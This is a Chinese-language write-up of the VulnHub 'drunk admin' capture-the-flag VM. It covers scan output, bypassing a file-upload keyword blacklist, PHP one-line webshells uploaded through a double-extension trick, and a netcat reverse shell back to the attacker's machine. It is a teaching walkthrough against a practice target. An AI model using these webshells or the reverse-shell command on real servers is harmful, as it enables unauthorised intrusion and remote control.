CTF靶场系列-drunk_admin_hacking_challenge – 作者:陌度

下载地址

https://download.vulnhub.com/drunkadminhackingchallenge/drunk_admin_hacking_challenge.zip

任务信息

Reveal the hidden message for a date arrange that Bob sent to Alice.

实战演练

下载完成后解压试用VMware虚拟机打开,可以看到登录界面,不需要登录,IP是DHCP(192.168.199.100)。

image.png信息收集

root@kali:~# nmap -sV 192.168.199.100 -p1-65535
Starting Nmap 7.70 ( https://nmap.org ) at 2019-02-25 21:41 EST
Nmap scan report for 192.168.199.100
Host is up (0.00051s latency).
Not shown: 65533 filtered ports
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 5.5p1 Debian 6+squeeze1 (protocol 2.0)
8880/tcp open  http    Apache httpd 2.2.16 ((Debian))
MAC Address: 00:0C:29:CB:0D:16 (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 156.51 seconds

在浏览器打开http://192.168.199.100:8880

image.png

root@kali:~# nikto -h 192.168.199.100 -p 8880
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          192.168.199.100
+ Target Hostname:    192.168.199.100
+ Target Port:        8880
+ Start Time:         2019-02-25 21:50:02 (GMT-5)
---------------------------------------------------------------------------
+ Server: Apache/2.2.16 (Debian)
+ Retrieved x-powered-by header: PHP/5.3.3-7+squeeze8
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ Cookie trypios created without the httponly flag
Illegal hexadecimal digit ';' ignored at /var/lib/nikto/plugins/nikto_headers.plugin line 106.
+ Server leaks inodes via ETags, header found with file /ef2gieEf.tcl, inode: 0x723b2, size: 0x33, mtime: 0x4ba515bf8ec40;4bcb127742900
+ Apache/2.2.16 appears to be outdated (current is at least Apache/2.4.12). Apache 2.0.65 (final release) and 2.2.29 are also current.
+ Uncommon header 'tcn' found, with contents: list
+ Apache mod_negotiation is enabled with MultiViews, which allows attackers to easily brute force file names. See http://www.wisec.it/sectou.php?id=4698ebdc59d15. The following alternatives for 'index' were found: index.php
+ Web Server returns a valid response with junk HTTP methods, this may cause false positives.
+ OSVDB-12184: /?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings.
+ OSVDB-12184: /?=PHPE9568F36-D428-11d2-A769-00AA001ACF42: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings.
+ OSVDB-12184: /?=PHPE9568F34-D428-11d2-A769-00AA001ACF42: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings.
+ OSVDB-12184: /?=PHPE9568F35-D428-11d2-A769-00AA001ACF42: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings.
+ OSVDB-3092: /info/: This might be interesting...
+ OSVDB-3233: /icons/README: Apache default file found.
+ 8348 requests: 0 error(s) and 16 item(s) reported on remote host
+ End Time:           2019-02-25 21:50:26 (GMT-5) (24 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

root@kali:~# dirb http://192.168.199.100:8880/

-----------------
DIRB v2.22    
By The Dark Raver
-----------------

START_TIME: Mon Feb 25 21:46:19 2019
URL_BASE: http://192.168.199.100:8880/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612                                                          

---- Scanning URL: http://192.168.199.100:8880/ ----
+ http://192.168.199.100:8880/cgi-bin/ (CODE:403|SIZE:293)                                                                                                                                                        
+ http://192.168.199.100:8880/image (CODE:200|SIZE:1392)                                                                                                                                                          
==> DIRECTORY: http://192.168.199.100:8880/images/                                                                                                                                                                
+ http://192.168.199.100:8880/index (CODE:200|SIZE:1638)                                                                                                                                                          
+ http://192.168.199.100:8880/index.php (CODE:200|SIZE:1638)                                                                                                                                                      
+ http://192.168.199.100:8880/info (CODE:200|SIZE:1600)                                                                                                                                                           
+ http://192.168.199.100:8880/info.php (CODE:200|SIZE:1600)                                                                                                                                                       
+ http://192.168.199.100:8880/server-status (CODE:403|SIZE:51)                                                                                                                                                    
==> DIRECTORY: http://192.168.199.100:8880/style/                                                                                                                                                                 
+ http://192.168.199.100:8880/upload (CODE:200|SIZE:57)                                                                                                                                                           
                                                                                                                                                                                                                  
---- Entering directory: http://192.168.199.100:8880/images/ ----
+ http://192.168.199.100:8880/images/admin.php (CODE:403|SIZE:51)                                                                                                                                                 
+ http://192.168.199.100:8880/images/index (CODE:200|SIZE:0)                                                                                                                                                      
+ http://192.168.199.100:8880/images/index.html (CODE:200|SIZE:0)                                                                                                                                                 
+ http://192.168.199.100:8880/images/index.php (CODE:403|SIZE:51)                                                                                                                                                 
+ http://192.168.199.100:8880/images/info.php (CODE:403|SIZE:51)                                                                                                                                                  
+ http://192.168.199.100:8880/images/phpinfo.php (CODE:403|SIZE:51)                                                                                                                                               
+ http://192.168.199.100:8880/images/xmlrpc.php (CODE:403|SIZE:51)                                                                                                                                                
+ http://192.168.199.100:8880/images/xmlrpc_server.php (CODE:403|SIZE:51)                                                                                                                                         
                                                                                                                                                                                                                  
---- Entering directory: http://192.168.199.100:8880/style/ ----
+ http://192.168.199.100:8880/style/bullet (CODE:200|SIZE:989)                                                                                                                                                    
+ http://192.168.199.100:8880/style/index (CODE:200|SIZE:0)                                                                                                                                                       
+ http://192.168.199.100:8880/style/index.html (CODE:200|SIZE:0)                                                                                                                                                  
+ http://192.168.199.100:8880/style/style (CODE:200|SIZE:5757)                                                                                                                                                    
                                                                                                                                                                                                                  
-----------------
END_TIME: Mon Feb 25 21:46:28 2019
DOWNLOADED: 13836 - FOUND: 20

发现了这几个文件

+ http://192.168.199.100:8880/images/admin.php (CODE:403|SIZE:51)                                                                                                                                                 
+ http://192.168.199.100:8880/images/index (CODE:200|SIZE:0)                                                                                                                                                      
+ http://192.168.199.100:8880/images/index.html (CODE:200|SIZE:0)                                                                                                                                                 
+ http://192.168.199.100:8880/images/index.php (CODE:403|SIZE:51)                                                                                                                                                 
+ http://192.168.199.100:8880/images/info.php (CODE:403|SIZE:51)                                                                                                                                                  
+ http://192.168.199.100:8880/images/phpinfo.php (CODE:403|SIZE:51)                                                                                                                                               
+ http://192.168.199.100:8880/images/xmlrpc.php (CODE:403|SIZE:51)                                                                                                                                                
+ http://192.168.199.100:8880/images/xmlrpc_server.php (CODE:403|SIZE:51)  

打开发现,被调戏了

image.png

测试

在首页看到是一个上传文件功能,还有右下角的一个php超链接。
我们先从php那边开始
http://192.168.199.100:8880/myphp.php?id=102
找到这个
http://192.168.199.100:8880/myphp.php?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000
我们用burpsuite进行遍历一下id,发现这几个ID只是显示phpinfo的信息。
image.png
试一下会不会存在注入或者文件包含漏洞
另外一个链接也不存在这些漏洞,看来只能从上传入手。
上传正常的图片
image.png
使用一句话木马保存成.php上传试试 <?php @eval($_POST[value]);?>
image.png
image.png试试加上图片头
image.png
image.pngimage.png加入一句话木马
image.png然后被调戏了
image.png试一下是不是识别了某些关键字
image.png可以上传

image.png再测试某些关键字
passthru,拦截
image.pngexec,上传成功
image.png
system,上传成功
image.png总结来说,应该有些关键字设置了黑名单(猜测)
打开shell的地址,发现不能执行
image.pngimage.pngemmmm,陷入僵局,我们看到图片的名字是一串加密字符串,看看有没有规律
image.png

后来发现能直接上传php代码,不用加图片头。。。

解析漏洞

只要将名字改成shell.png.php就可以上传
<?php echo exec($_REQUEST['cmd'])  ?>
image.png
image.png这个trypios就是上传后的文件名

image.pngkali使用nc监听 
nc+192.168.199.176+9999+-e+/bin/bash

image.png
然后就可以查看信息
image.png找到解密文件,将它移动到http目录
image.png打开浏览器,发现打开不了,于是就直接下载代码到本地运行
image.png
image.png
kali本地运行apache
image.png
解密失败
image.png
index.php
image.png还记得我们刚刚找到那个信息吗?

#########################

# Drunk Admin Challenge #

#     by @anestisb	#

#########################

bob> Great work.

bob> Meet me there.

...> ?

bob> What? You don't know where?

bob> Work a little more your post

     exploitation skills.

Secret Code:

TGglMUxecjJDSDclN1Ej

Mail me your methods at:

[email protected]

这个secret code是用base64加密

image.pngimage.pngimage.png
打开Google地图,查找坐标
image.png

来源:freebuf.com 2019-02-26 19:13:38 by: 陌度

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